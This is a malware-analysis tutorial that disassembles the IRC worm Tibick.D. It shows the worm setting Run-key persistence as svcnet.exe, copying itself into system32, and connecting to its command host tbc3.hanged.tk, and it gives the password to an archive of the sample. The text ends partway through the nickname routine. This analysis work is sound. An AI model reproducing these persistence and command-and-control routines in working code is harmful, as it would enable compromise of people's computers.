Statistics

Members: 1927
News: 293
Web Links: 1
Visitors: 3932018

Who's Online

Damn Vulnerable LinuxDamn Vulnerable Linux (DVL) is a Linux-based (modified Damn Small Linux) tool for IT-Security & IT-Anti- Security and Attack & Defense. [CLICK HERE FOR MORE INFOS! ]

Featured Conference Video

T16-Recon2006-Joe_Stewart-OllyBonE.gif OllyBone - Semi-Automatic Unpacking on IA-32. View the conference video here!
Home arrow Articles - Programming arrow Virus Analysis arrow Reversing Malware: Analysis of the worm "Tibick.D"
Reversing Malware: Analysis of the worm "Tibick.D"
User Rating: / 5
PoorBest 
Written by Daniel "Lesco" Schoepe   
Side Story
VX Reversing III – Yellow Fever (Griyo 29a)

This article provides an in-depth analysis of the I-Worm "win32.YellowFever", by "Griyo29A". This is a proof of concept virus, meaning it has very sophisticated features which are very hard to find in the wild. Our analysis includes: a step-by-step guide to debug it and the construction of a bait file, which we use to run it under a controlled environment. Since the virus has not been spread there is no similar description published by the Anti-Virus companies.

Read More >>



Malware is a serious threat to computer systems. The term 'malware' is a superset of many different types of malicious code, including viruses, worms, rootkits, spyware and other threats. A long formal definition of 'malware' or the variants of malware is beyond the scope of this article, so I'll only give a very brief distinction of viruses and worms. A virus replicates itself by attaching it to some forms of executable code, for example PE-Files(.exe,.dll,..) on Windows, whereas a worm mostly spreads using the internet. It uses security holes in software or just sends itself disguised as a trustworthy email to other users or uses peer-to-peer technology. There are more differences but they have already been discussed repeatedly in other articles.

Being able to understand and dissect the inner workings of such malicious code is an important ability in the field of reverse engineering, since it makes it possible to detect in which way the system is modified by the malware, to make systems more safe against malicious code and to make a secure recognition of malicious code possible. The aim of this article is to give an introduction to the field of malware analysis. The worm dissected later in this article is neither new nor unknown and has been analyzed already. A very simple and primitive worm has been chosen to make this article most understandable especially to those who never reversed a worm before or are (relatively) new to reverse engineering.
This article might be not very interesting for advanced (malware-)reversers.

Needed:

The reader of this paper should have basic knowledge of x86-assembly language and the Win32-API including it's networking capabilities(WinSock). However, since the code and structure of the Tibick.D worm is very simple and easy to follow, the code should be understandable even if you haven't much experience in reading disassembled code. Besides that the reader should have some practice in the handling of the favorite disassembler (and debugger).
The software used in this document is available for free on The Internet.

  • The main tool used in this article is The Interactive Disassembler by Datarescue. They've made a older version available for free(free as in "free beer" not as in "free speech" though ;)).
  • (Optional:)Furthermore I suggest to have a isolated environment not directly connected to the internet for live-analysis and debugging of the malware. This can be a second computer, or, more comfortable, a virtual machine like VMware or QEMU. This is optional because everything can be read from the deadlisting of the code, but if you want to check the assumptions you made or just to experiment with the malware's behaviour, it is necessary. The malware dissected in this paper might be very primitive but it is still malware and you should never run it on your real system.
  • If you want to debug the malware on the isolated system, you'll need a debugger. I suggest OllyDbg, an easy-to-use yet powerful ring3-debugger, available free of charge.
  • Another tool used in this document is the PE-Analyzer PEiD which is capable of automatically detecting packers/compilers and has some other useful features.
  • Optional: Since the worm makes use of the internet relay chat(irc) protocol you might want to have an irc-daemon and an irc-client for testing
  • Another thing you need is a copy of the worm. I have included the malware in an encrypted rar-archive, the password is "iknowthatthisfileismalware". I have changed the file extension to prevent the file from being executed accidentally. The archive is located here .

About the example

The worm Tibick.D is a fairly simple variant of a worm. It has to be downloaded and run by the user. It doesn't infect other existing files and spreads over various peer-to-peer networks under a lot of different filenames( as we will see later). I've chosen this worm to give an introduction to malware reversing. In further articles we'll dissect more complicated examples which use more sophisticated techniques to hide their presence or to spread.
In this article we'll analyze our target only by looking at the disassembly. Normally other techniques and programs are used like network-sniffers or file/registry monitors, but since it's just a simple example of malware and a deadlisting of the code gives the most information, I left out these parts intentionally.

Analysis

Infection routine

We will start by scanning the file with PEiD to find out whether a packer was used and with which compiler the worm has been compiled. PEiD will show "LCC Win32 1.x -> Jacob Navia [Overlay]" which sounds good, since we won't have to bother with unpacking the executable. However we shouldn't trust PEiD completely since it can be fooled by placing a fake signature at the entry point. The executable contains 3 sections(".text", ".data",".idata") what is a normal layout for exe-files.
To go on we use IDA to disassemble the file. The entry point of the executable looks rather normal, since it's default entry point generated by the lcc compiler:

Code:
.text:00401219                 public start
.text:00401219 start           proc near
.text:00401219 
.text:00401219 var_30          = word ptr -30h
.text:00401219 var_18          = dword ptr -18h
.text:00401219 var_4           = dword ptr -4
.text:00401219 
.text:00401219                 mov     eax, large fs:0
.text:0040121F                 push    ebp
.text:00401220                 mov     ebp, esp
.text:00401222                 push    0FFFFFFFFh
.text:00401224                 push    offset unk_40401C
.text:00401229                 push    offset loc_40109A
.text:0040122E                 push    eax
.text:0040122F                 mov     large fs:0, esp
.text:00401236                 sub     esp, 10h
.text:00401239                 push    ebx
.text:0040123A                 push    esi
.text:0040123B                 push    edi
.text:0040123C                 mov     [ebp+var_18], esp
.text:0040123F                 push    eax
.text:00401240                 fnstcw  [esp+30h+var_30]
.text:00401243                 or      word ptr [esp], 300h
.text:00401249                 fldcw   [esp+30h+var_30]
.text:0040124C                 add     esp, 4
.text:0040124F                 push    0
.text:00401251                 push    0
.text:00401253                 push    offset dword_404028
.text:00401258                 push    offset dword_404024
.text:0040125D                 push    offset dword_404020
.text:00401262                 call    __GetMainArgs
.text:00401267                 push    dword_404028
.text:0040126D                 push    dword_404024
.text:00401273                 push    dword_404020
.text:00401279                 mov     dword_404014, esp
.text:0040127F                 call    sub_402FE8
.text:00401284                 add     esp, 18h
.text:00401287                 xor     ecx, ecx
.text:00401289                 mov     [ebp+var_4], ecx
.text:0040128C                 push    eax
.text:0040128D                 call    exit
.text:00401292                 leave
.text:00401293                 retn
.text:00401293 start           endp

At first, a structured exception handler(seh) is installed. After that the executable retrieves the arguments and passes them to function which seems to be the main()-function defined by the programmer. To proceed we take a look at the function(sub_402FE8):

Code:
.text:00402FE8                 push    ebp
.text:00402FE9                 mov     ebp, esp
.text:00402FEB                 push    ecx
.text:00402FEC                 push    edi
.text:00402FED                 call    GetCommandLineA
.text:00402FF2                 mov     edi, eax
.text:00402FF4                 cmp     byte ptr [edi], 22h
.text:00402FF7                 jnz     short loc_40301C
.text:00402FF9                 push    22h
.text:00402FFB                 mov     eax, edi
.text:00402FFD                 inc     eax
.text:00402FFE                 push    eax
.text:00402FFF                 call    strchr
.text:00403004                 add     esp, 8
.text:00403007                 mov     [ebp+var_4], eax
.text:0040300A                 or      eax, eax
.text:0040300C                 jz      short loc_403037
.text:0040300E                 mov     edi, eax
.text:00403010                 inc     edi
.text:00403011                 jmp     short loc_403014

This code starts by obtaining a pointer to the command line string by using the API GetCommandlineA and checks whether the first character is a quotation mark(It's ascii code equals 0x22). If the first character is not a quotation mark it jumps over the following code.
Otherwise it proceeds by searching the rest of the string for a quotation mark using the strchr-function which is a standard C function and searches for the first occurrence of a character in the string. The purpose of that code snippet is to check whether the path of the program is separated by quotation marks from the arguments. When you run an executable by double-clicking on it, the path of the executable is separated by quotation marks to make spaces in path names possible, which otherwise wouldn't be distinguishable from the spaces between the path and the arguments.
Subsequently, the worm obtains the beginning of the arguments by searching for the first character after a space(either starting from the second quotation mark, if any, or from the beginning of the string).

Code:
.text:00403037                 push    0               ; lpModuleName
.text:00403039                 call    GetModuleHandleA
.text:0040303E                 push    1
.text:00403040                 push    edi
.text:00403041                 push    0
.text:00403043                 push    eax
.text:00403044                 call    sub_4029B3
.text:00403049                 pop     edi
.text:0040304A                 leave
.text:0040304B                 retn
.text:0040304B sub_402FE8      endp

This code passes the pointer to the program arguments and the module handle to the function at 0x4029B3. Now let's take a look at that function:

Code:
.text:004029B3 sub_4029B3      proc near               ; CODE XREF: sub_402FE8+5C
.text:004029B3 
.text:004029B3 Parameter       = byte ptr -6C0h
.text:004029B3 var_5C0         = byte ptr -5C0h
.text:004029B3 var_4C0         = dword ptr -4C0h
.text:004029B3 var_4BC         = dword ptr -4BCh
.text:004029B3 var_4B8         = dword ptr -4B8h
.text:004029B3 WSAData         = WSAData ptr -4ACh
.text:004029B3 hKey            = dword ptr -31Ch
.text:004029B3 ThreadId        = dword ptr -318h
.text:004029B3 var_314         = byte ptr -314h
.text:004029B3 buf             = byte ptr -214h
.text:004029B3 addr            = byte ptr -114h
.text:004029B3 String          = byte ptr -110h
.text:004029B3 name            = sockaddr ptr -10h
.text:004029B3 lpString1       = dword ptr  10h
.text:004029B3 
.text:004029B3                 push    ebp
.text:004029B4                 mov     ebp, esp
.text:004029B6                 sub     esp, 6C0h
.text:004029BC                 push    ebx
.text:004029BD                 push    esi
.text:004029BE                 push    edi
.text:004029BF                 push    offset aTbc3_hanged_tk ; "tbc3.hanged.tk"
.text:004029C4                 call    sub_40132B
.text:004029C9                 pop     ecx
.text:004029CA                 cmp     eax, 50Eh
.text:004029CF                 jnz     short loc_4029E3
.text:004029D1                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##"
.text:004029D6                 call    sub_40132B
.text:004029DB                 pop     ecx
.text:004029DC                 cmp     eax, 349h
.text:004029E1                 jz      short loc_4029EB
.text:004029E3 
.text:004029E3 loc_4029E3:                             ; CODE XREF: sub_4029B3+1C
.text:004029E3                 push    0
.text:004029E5                 call    exit

IDA has already guessed some names of the local variables like ThreadId or WSAData, what tells us that the malware will somehow use the socket functions and connect to the the internet.
This routine starts by passing two hard coded strings to a routine and comparing the results with hard coded values. A guess might be that the routine creates a simple checksum from the strings and the returned checksum is compared to a hard coded one to prevent the file from manipulations in the important parts. To check this assumptions, we take a look at sub_40132B:

Code:
.text:0040132B sub_40132B      proc near               ; CODE XREF: sub_4029B3+11
.text:0040132B                                         ; sub_4029B3+23
.text:0040132B 
.text:0040132B arg_0           = dword ptr  8
.text:0040132B 
.text:0040132B                 push    ebx
.text:0040132C                 mov     ebx, [esp+arg_0]
.text:00401330                 xor     edx, edx
.text:00401332                 mov     ecx, edx
.text:00401334                 jmp     short loc_40133D
.text:00401336 ; ---------------------------------------------------------------------------
.text:00401336 
.text:00401336 loc_401336:                             ; CODE XREF: sub_40132B+16
.text:00401336                 movsx   eax, byte ptr [ebx+ecx]
.text:0040133A                 add     edx, eax
.text:0040133C                 inc     ecx
.text:0040133D 
.text:0040133D loc_40133D:                             ; CODE XREF: sub_40132B+9
.text:0040133D                 cmp     byte ptr [ebx+ecx], 0
.text:00401341                 jnz     short loc_401336
.text:00401343                 mov     eax, edx
.text:00401345                 pop     ebx
.text:00401346                 retn
.text:00401346 sub_40132B      endp

In order to preserve the value of the register ebx is pushed at the beginning of the function and the argument(the pointer to a string) is moved to ebx. edx and ecx are both set to zero by XORing edx with itself. This is a standard example of optimization: The more obvious "mov edx,0" would not only need more space within the file, it would also be slower than the method used by the compiler.
After that it adds the values of the characters to the edx register, until the terminating null-character is found. That means that our assumption is right and the malware performs an integrity check on the two strings. However, the two strings which are passed to this routine("tbc3.hanged.tk" and "##TIBiC-P2P3##") seem to be important, we should keep them in mind.
After the checksumming, this code follows:

Code:
.text:004029EB                 lea     eax, [ebp+WSAData]
.text:004029F1                 push    eax             ; lpWSAData
.text:004029F2                 push    101h            ; wVersionRequested
.text:004029F7                 call    WSAStartup
.text:004029FC                 or      eax, eax
.text:004029FE                 jz      short loc_402A08
.text:00402A00                 xor     eax, eax
.text:00402A02                 inc     eax
.text:00402A03                 jmp     loc_402F36
.text:00402A08 ; ---------------------------------------------------------------------------
.text:00402A08 
.text:00402A08 loc_402A08:                             ; CODE XREF: sub_4029B3+4B
.text:00402A08                 call    GetTickCount
.text:00402A0D                 push    eax
.text:00402A0E                 call    srand
.text:00402A13                 push    offset aTpguxbsfNjdspt ; "Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstj"...
.text:00402A18                 lea     eax, [ebp+String]
.text:00402A1E                 push    eax
.text:00402A1F                 call    wsprintfA
.text:00402A24                 push    0FFFFFFFFh
.text:00402A26                 lea     eax, [ebp+String]
.text:00402A2C                 push    eax
.text:00402A2D                 call    sub_4012FC
.text:00402A32                 add     esp, 14h
.text:00402A35                 push    0               ; lpdwDisposition
.text:00402A37                 lea     eax, [ebp+hKey]
.text:00402A3D                 push    eax             ; phkResult
.text:00402A3E                 push    0               ; lpSecurityAttributes
.text:00402A40                 push    0F003Fh         ; samDesired
.text:00402A45                 push    0               ; dwOptions
.text:00402A47                 push    0               ; lpClass
.text:00402A49                 push    0               ; Reserved
.text:00402A4B                 lea     eax, [ebp+String]
.text:00402A51                 push    eax             ; lpSubKey
.text:00402A52                 push    80000002h       ; hKey
.text:00402A57                 call    RegCreateKeyExA
.text:00402A5C                 push    offset aSvcnet_exe ; lpString
.text:00402A61                 call    lstrlenA
.text:00402A66                 push    eax             ; cbData
.text:00402A67                 push    offset aSvcnet_exe ; lpData
.text:00402A6C                 push    1               ; dwType
.text:00402A6E                 push    0               ; Reserved
.text:00402A70                 push    offset aShellapi32 ; lpValueName
.text:00402A75                 push    [ebp+hKey]      ; hKey
.text:00402A7B                 call    RegSetValueExA
.text:00402A80                 push    [ebp+hKey]      ; hKey
.text:00402A86                 call    RegCloseKey
.text:00402A8B                 push    0               ; lpdwDisposition
.text:00402A8D                 lea     eax, [ebp+hKey]
.text:00402A93                 push    eax             ; phkResult
.text:00402A94                 push    0               ; lpSecurityAttributes
.text:00402A96                 push    0F003Fh         ; samDesired
.text:00402A9B                 push    0               ; dwOptions
.text:00402A9D                 push    0               ; lpClass
.text:00402A9F                 push    0               ; Reserved
.text:00402AA1                 lea     eax, [ebp+String]
.text:00402AA7                 push    eax             ; lpSubKey
.text:00402AA8                 push    80000001h       ; hKey
.text:00402AAD                 call    RegCreateKeyExA
.text:00402AB2                 push    offset aSvcnet_exe ; lpString
.text:00402AB7                 call    lstrlenA
.text:00402ABC                 push    eax             ; cbData
.text:00402ABD                 push    offset aSvcnet_exe ; lpData
.text:00402AC2                 push    1               ; dwType
.text:00402AC4                 push    0               ; Reserved
.text:00402AC6                 push    offset aShellapi32 ; lpValueName
.text:00402ACB                 push    [ebp+hKey]      ; hKey
.text:00402AD1                 call    RegSetValueExA
.text:00402AD6                 push    [ebp+hKey]      ; hKey
.text:00402ADC                 call    RegCloseKey

The code starts by initializing the WinSock-API, checks the result for success and if initialization failed, this functions is left, which leads to termination of the program. After the initialization various registry accesses follow. The name of the subkey accessed seems to be stored in an encrypted form and is therefore copied to a buffer using the wsprintf-API and a pointer to this buffer is then passed to a function which has to be the decryption routine, because otherwise the registry access would fail. The function takes 2 arguments: The first one(they are PUSH-ed in reverse order, since the c-calling convention is used) is a pointer to the string which is going to be decrypted and the second one(0xFFFFFFFF) has no obvious meaning at this point, but when we go into the function we will figure out it's meaning. The function itself isn't very long:

Code:
.text:004012FC sub_4012FC      proc near               ; CODE XREF: sub_4014DF+25
.text:004012FC                                         ; sub_4016E6+36 ...
.text:004012FC 
.text:004012FC arg_0           = dword ptr  10h
.text:004012FC arg_4           = dword ptr  14h
.text:004012FC 
.text:004012FC                 push    ebx
.text:004012FD                 push    esi
.text:004012FE                 push    edi
.text:004012FF                 mov     esi, [esp+arg_0]
.text:00401303                 mov     ebx, [esp+arg_4]
.text:00401307                 xor     edi, edi
.text:00401309                 jmp     short loc_401315
.text:0040130B ; ---------------------------------------------------------------------------
.text:0040130B 
.text:0040130B loc_40130B:                             ; CODE XREF: sub_4012FC+27
.text:0040130B                 movsx   eax, byte ptr [esi+edi]
.text:0040130F                 add     eax, ebx
.text:00401311                 mov     [esi+edi], al
.text:00401314                 inc     edi
.text:00401315 
.text:00401315 loc_401315:                             ; CODE XREF: sub_4012FC+D
.text:00401315                 mov     ecx, esi
.text:00401317                 or      eax, 0FFFFFFFFh
.text:0040131A 
.text:0040131A loc_40131A:                             ; CODE XREF: sub_4012FC+23
.text:0040131A                 inc     eax
.text:0040131B                 cmp     byte ptr [ecx+eax], 0
.text:0040131F                 jnz     short loc_40131A
.text:00401321                 cmp     edi, eax
.text:00401323                 jl      short loc_40130B
.text:00401325                 mov     eax, esi

At first the function performs the saving of the registers which it's going to use(a normal function may only change the values of eax,ecx and edx) and then loads the second argument into ebx and the first into esi. Edi is set to zero and serves as a counting variable in the loop that follows. The loop reads one character from the string, adds the second parameter to it and writes the resulting byte back to the string. After that the length of the string is computed(in each round of the loop, what is a waste of clock cycles) and then compared to edi, which is incremented each round. If it's higher or equal, the loop exits. In the particular case that the second param is 0xFFFFFFFF, every character of the string is just decremented since 0xFFFFFFFF is the representation of -1(two-complement). To decode the string we can either code the used algorithm in our favorite language, apply it manually, or debug the malware while decrypting the string. But do the debugging on the isolated environment and not on your real system(If you want to risk your system's integrity by the possibilty that the file is accidentally executed completely in the debugger, you can run it until this code and then stop the process on your real system).
By doing so, we get the decrypted string "Software\Microsoft\Windows\CurrentVersion\Run" which is most probably used for creating an autostart entry for the malware. The key is created twice, only the RootKey argument for the calls to RegOpenKeyEx differs. By right-clicking on the values we can tell IDA to display the symbolic names for the values. That way we find out, that the key is created in two root keys: HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER. The name and the value of the created entry are hard coded to "Shellapi32" and "svcnet.exe" probably in the hope that they will be mistaken for the legitimate svchost(Generic Host Process for Win32 services) process which runs multiple times per default on a default Windows installation.
After creating the autostart-entries, the malware continues with that:

Code:
.text:00402AE1                 push    offset aSvcnet_exe ; lpName
.text:00402AE6                 push    0               ; bInheritHandle
.text:00402AE8                 push    1F0001h         ; dwDesiredAccess
.text:00402AED                 call    OpenMutexA
.text:00402AF2                 mov     edi, eax
.text:00402AF4                 or      eax, eax
.text:00402AF6                 jz      short loc_402B00
.text:00402AF8                 xor     eax, eax
.text:00402AFA                 inc     eax
.text:00402AFB                 jmp     loc_402F36
.text:00402B00 ; ---------------------------------------------------------------------------
.text:00402B00 
.text:00402B00 loc_402B00:                             ; CODE XREF: sub_4029B3+143
.text:00402B00                 push    offset aSvcnet_exe ; lpName
.text:00402B05                 push    0               ; bInitialOwner
.text:00402B07                 push    0               ; lpMutexAttributes
.text:00402B09                 call    CreateMutexA

The worm uses a mutex with the name "svcnet.exe" to check if it's already running on the system. A short description: A mutex, which is short for mutual exclusion, is a mechanism to ensure that an object is used by only one thread at any given time. If the mutex has not been created, the function fails resulting in the execution of the CreateMutexA-call and the following code. Otherwise the function exits since the mutex has already been created and another instance of the malware seems to be running.
Subsequently the malware continues by examining it's filename and path:

Code:
.text:00402B10                 push    0               ; lpModuleName
.text:00402B12                 call    GetModuleHandleA
.text:00402B17                 push    0FFh            ; nSize
.text:00402B1C                 lea     edx, [ebp+String]
.text:00402B22                 push    edx             ; lpFilename
.text:00402B23                 push    eax             ; hModule
.text:00402B24                 call    GetModuleFileNameA
.text:00402B29                 push    0FFh            ; uSize
.text:00402B2E                 lea     eax, [ebp+buf]
.text:00402B34                 push    eax             ; lpBuffer
.text:00402B35                 call    GetSystemDirectoryA
.text:00402B3A                 lea     eax, [ebp+buf]
.text:00402B40                 push    eax
.text:00402B41                 lea     eax, [ebp+String]
.text:00402B47                 push    eax
.text:00402B48                 call    sub_40304C
.text:00402B4D                 add     esp, 8
.text:00402B50                 or      eax, eax
.text:00402B52                 jz      short loc_402B6C
.text:00402B54                 push    offset aSvcnet_exe ; "svcnet.exe"
.text:00402B59                 lea     edx, [ebp+String]
.text:00402B5F                 push    edx
.text:00402B60                 call    sub_40304C
.text:00402B65                 add     esp, 8
.text:00402B68                 or      eax, eax
.text:00402B6A                 jnz     short loc_402BDE

This code obtains the current module filename and the path of the system directory. The module is passed to another function two times, one time with the system directory as another argument and the other time with the "svcnet.exe" string which has already been used in the malware and is the name under which the malware plans to hide itself within the system. The result of sub_40304C is both times checked for being non-zero. It seems that the called functions performs some kind of string comparison to check whether the malware is running from GetSystemDirectory()\svcnet.exe. The system directory is normally Windows\system32 or WinNT\system32. If the filename and path differ, this code is executed:

Code:
.text:00402B6C 
.text:00402B6C loc_402B6C:                             ; CODE XREF: sub_4029B3+19F
.text:00402B6C                 push    offset String2  ; lpString2
.text:00402B71                 lea     eax, [ebp+buf]
.text:00402B77                 push    eax             ; lpString1
.text:00402B78                 call    lstrcatA
.text:00402B7D                 push    offset aSvcnet_exe ; lpString2
.text:00402B82                 lea     eax, [ebp+buf]
.text:00402B88                 push    eax             ; lpString1
.text:00402B89                 call    lstrcatA
.text:00402B8E                 push    0               ; bFailIfExists
.text:00402B90                 lea     eax, [ebp+buf]
.text:00402B96                 push    eax             ; lpNewFileName
.text:00402B97                 lea     eax, [ebp+String]
.text:00402B9D                 push    eax             ; lpExistingFileName
.text:00402B9E                 call    CopyFileA
.text:00402BA3                 or      eax, eax
.text:00402BA5                 jnz     short loc_402BAD
.text:00402BA7                 inc     eax
.text:00402BA8                 jmp     loc_402F36
.text:00402BAD ; ---------------------------------------------------------------------------
.text:00402BAD loc_402BAD:                             ; CODE XREF: sub_4029B3+1F2
.text:00402BAD                 push    0               ; nShowCmd
.text:00402BAF                 push    0               ; lpDirectory
.text:00402BB1                 push    0               ; lpParameters
.text:00402BB3                 lea     eax, [ebp+buf]
.text:00402BB9                 push    eax             ; lpFile
.text:00402BBA                 push    offset aOpen    ; lpOperation
.text:00402BBF                 push    0               ; hwnd
.text:00402BC1                 call    ShellExecuteA
.text:00402BC6                 push    offset aInstant ; lpString2
.text:00402BCB                 push    [ebp+lpString1] ; lpString1
.text:00402BCE                 call    lstrcmpA
.text:00402BD3                 or      eax, eax
.text:00402BD5                 jz      short loc_402BDE
.text:00402BD7                 xor     eax, eax
.text:00402BD9                 jmp     loc_402F36

The first call to lstrcatA appends an backslash to the system directory. The second call concatenates "svcnet.exe" and the system directory together and then uses it as an argument to CopyFileA. So the malware indeed copies itself to the system directory under the name "svcnet.exe". Such behaviour is very common to malware, since a user might think this file is a normal system file and might not notice that this file is malware. When the copying fails, the malware gives up and exits. If it succeeds the created file is executed using the ShellExecuteA-API. After the ShellExecuteA-Call a call to lstrcmpA follows, in which the argument "lpString1" is compared to the string "instant". But what was passed to this function? The answer is that the pointer to the string with the program arguments is the argument which is now being compared. So if the first command line was "...\malware.exe instant" the program continues execution, otherwise it exits.

The backdoor

Once the malware placed itself in the system folder, it makes the system accessible to attackers. The following code is executed, once the malware has checked that it's being run from the system folder under the desired name or when the parameter "instant" was specified:

Code:
.text:00402BDE loc_402BDE:                             ; CODE XREF: sub_4029B3+1B7
.text:00402BDE                                         ; sub_4029B3+222
.text:00402BDE                 lea     eax, [ebp+ThreadId]
.text:00402BE4                 push    eax             ; lpThreadId
.text:00402BE5                 push    0               ; dwCreationFlags
.text:00402BE7                 push    0               ; lpParameter
.text:00402BE9                 push    offset StartAddress ; lpStartAddress
.text:00402BEE                 push    0               ; dwStackSize
.text:00402BF0                 push    0               ; lpThreadAttributes
.text:00402BF2                 call    CreateThread
.text:00402BF7 
.text:00402BF7 loc_402BF7:                             ; CODE XREF: sub_4029B3+2DC
.text:00402BF7                                         ; sub_4029B3+57C
.text:00402BF7                 push    10h
.text:00402BF9                 lea     eax, [ebp+name]
.text:00402BFC                 push    eax
.text:00402BFD                 call    RtlZeroMemory
.text:00402C02                 mov     [ebp+name.sa_family], 2
.text:00402C08                 push    1A0Bh           ; hostshort
.text:00402C0D                 call    htons
.text:00402C12                 mov     edx, eax
.text:00402C14                 mov     word ptr [ebp+name.sa_data], dx
.text:00402C18                 push    offset aTbc3_hanged_tk ; cp
.text:00402C1D                 call    inet_addr
.text:00402C22                 mov     dword ptr [ebp+addr], eax
.text:00402C28                 cmp     eax, 0FFFFFFFFh
.text:00402C2B                 jnz     short loc_402C3B
.text:00402C2D                 push    offset aTbc3_hanged_tk ; name
.text:00402C32                 call    gethostbyname
.text:00402C37                 mov     ebx, eax
.text:00402C39                 jmp     short loc_402C4D
.text:00402C3B ; ---------------------------------------------------------------------------
.text:00402C3B 
.text:00402C3B loc_402C3B:                             ; CODE XREF: sub_4029B3+278
.text:00402C3B                 push    2               ; type
.text:00402C3D                 push    4               ; len
.text:00402C3F                 lea     eax, [ebp+addr]
.text:00402C45                 push    eax             ; addr
.text:00402C46                 call    gethostbyaddr
.text:00402C4B                 mov     ebx, eax
.text:00402C4D 
.text:00402C4D loc_402C4D:                             ; CODE XREF: sub_4029B3+286
.text:00402C4D                 or      ebx, ebx
.text:00402C4F                 jnz     short loc_402C5D
.text:00402C51                 push    2710h           ; dwMilliseconds
.text:00402C56                 call    Sleep
.text:00402C5B                 jmp     short loc_402C8F
.text:00402C5D ; ---------------------------------------------------------------------------

The first thing it does, is to create a new thread to run in the background, but we will ignore it for now and analyze it later. After the creation of a new thread, the worm makes use of the Windows socket functions. It fills a 0x10 byte long structure with zeros, which is later used by functions like socket(). This is most likely the sockaddr struct. The code proceeds by converting the desired port to the network byte order by using the htons function. The port number to be converted is 0x1A0B or 6667 in decimal, which is the default port for internet relay chat(irc).
After that it does something senseless by trying to obtain the address of "tbc3.hanged.tk" using inet_addr(), which only converts ip-addresses in the standard "dot-notation"(e.g. "127.0.0.1") into the format used by socket functions. The function is not suitable for urls like "www.google.com" or the one used by the malware. If this fails and inet_addr() returns -1, the worm tries to obtain the address of the host by using the "correct" function gethostbyname() and again checks the result for validity. If it's invalid it calls Sleep, retries and repeats this until the host is found. So this is the place where the string "tbc3.hanged.tk", which was checked for integrity (in a very insecure manner) earlier, gets used. After obtaining a usable address for this host, it tries to connect to it:

Code:
.text:00402C5D loc_402C5D:                             ; CODE XREF: sub_4029B3+29C
.text:00402C5D                 mov     eax, [ebx+0Ch]
.text:00402C60                 mov     eax, [eax]
.text:00402C62                 mov     eax, [eax]
.text:00402C64                 mov     dword ptr [ebp+name.sa_data+2], eax
.text:00402C67                 push    6               ; protocol
.text:00402C69                 push    1               ; type
.text:00402C6B                 push    2               ; af
.text:00402C6D                 call    socket
.text:00402C72                 mov     esi, eax
.text:00402C74                 push    10h             ; namelen
.text:00402C76                 lea     eax, [ebp+name]
.text:00402C79                 push    eax             ; name
.text:00402C7A                 push    esi             ; s
.text:00402C7B                 call    connect
.text:00402C80                 cmp     eax, 0FFFFFFFFh
.text:00402C83                 jnz     short loc_402C94
.text:00402C85                 push    2710h           ; dwMilliseconds
.text:00402C8A                 call    Sleep
.text:00402C8F 
.text:00402C8F loc_402C8F:                             ; CODE XREF: sub_4029B3+2A8
.text:00402C8F                 jmp     loc_402BF7
.text:00402C94 ; ---------------------------------------------------------------------------
.text:00402C94 
.text:00402C94 loc_402C94:                             ; CODE XREF: sub_4029B3+2D0
.text:00402C94                 push    100h
.text:00402C99                 lea     eax, [ebp+String]
.text:00402C9F                 push    eax
.text:00402CA0                 call    sub_40129C
.text:00402CA5                 mov     [ebp+var_4B8], eax
.text:00402CAB                 push    100h
.text:00402CB0                 lea     edx, [ebp+var_314]
.text:00402CB6                 push    edx
.text:00402CB7                 call    sub_40129C
.text:00402CBC                 push    eax
.text:00402CBD                 mov     edx, [ebp+var_4B8]
.text:00402CC3                 push    edx
.text:00402CC4                 push    offset aNickSUserS__Ti ; "NICK %s\r\nUSER %s . . :TIBiCP2P\r\n"
.text:00402CC9                 lea     edx, [ebp+buf]
.text:00402CCF                 push    edx
.text:00402CD0                 call    wsprintfA
.text:00402CD5                 add     esp, 20h
.text:00402CD8                 lea     eax, [ebp+buf]
.text:00402CDE                 push    eax             ; lpString
.text:00402CDF                 call    lstrlenA
.text:00402CE4                 push    0               ; flags
.text:00402CE6                 push    eax             ; len
.text:00402CE7                 lea     edx, [ebp+buf]
.text:00402CED                 push    edx             ; buf
.text:00402CEE                 push    esi             ; s
.text:00402CEF                 call    send
.text:00402CF4                 cmp     eax, 0FFFFFFFFh
.text:00402CF7                 jnz     short loc_402D08
.text:00402CF9                 push    2710h           ; dwMilliseconds
.text:00402CFE                 call    Sleep
.text:00402D03                 jmp     loc_402F2F
.text:00402D08 ; ---------------------------------------------------------------------------

The code starts by creating a default socket. It then connects to "tbc3.hanged.tk" using the sockaddr struct initialized before. If the call fails, the malware continues trying until it succeeds or the process is terminated. Another function is called two times and the pointers that are passed to this function are later used as a nick and user name in the irc-connection. Many malware uses irc-servers to provide backdoors to the attackers, since the infected system does not need to listen on a specific port. Ok, the function in question seems to create a nickname and a user name and takes two arguments, one being a pointer to memory and the second being a number, perhaps the size of the memory pointed to by the first parameter. Here's the code of the function(only the interesting part):

Code:
.text:004012A3                 mov     ebx, [ebp+arg_0]
.text:004012A6                 push    [ebp+arg_4]
.text:004012A9                 push    ebx
.text:004012AA                 call    RtlZeroMemory
.text:004012AF                 call    rand
.text:004012B4                 mov     ecx, 6
.text:004012B9                 cdq
.text:004012BA                 idiv    ecx
.text:004012BC                 mov     edi, edx
.text:004012BE                 add     edi, 4
.text:004012C1                 mov     [ebp+var_4], edi
.text:004012C4                 mov     eax, [ebp+arg_4]
.text:004012C7                 cmp     edi, eax
.text:004012C9                 jl      short loc_4012CF
.text:004012CB                 dec     eax
.text:004012CC                 mov     [ebp+var_4], eax
.text:004012CF 
.text:004012CF loc_4012CF:                             ; CODE XREF: sub_40129C+2D
.text:004012CF                 xor     esi, esi
.text:004012D1                 jmp     short loc_4012EB
.text:004012D3 ; ---------------------------------------------------------------------------
.text:004012D3 
.text:004012D3 loc_4012D3:                             ; CODE XREF: sub_40129C+52
.text:004012D3                 call    rand
.text:004012D8                 mov     ecx, 1Ah
.text:004012DD                 cdq
.text:004012DE                 idiv    ecx
.text:004012E0                 mov     edi, edx
.text:004012E2                 add     edi, 61h
.text:004012E5                 mov     edx, edi
.text:004012E7                 mov     [ebx+esi], dl
.text:004012EA                 inc     esi
.text:004012EB 
.text:004012EB loc_4012EB:                             ; CODE XREF: sub_40129C+35
.text:004012EB                 cmp     esi, [ebp+var_4]
.text:004012EE                 jl      short loc_4012D3
.text:004012F0                 mov     byte ptr [esi+ebx+1], 0
.text:004012F5                 mov     eax, ebx

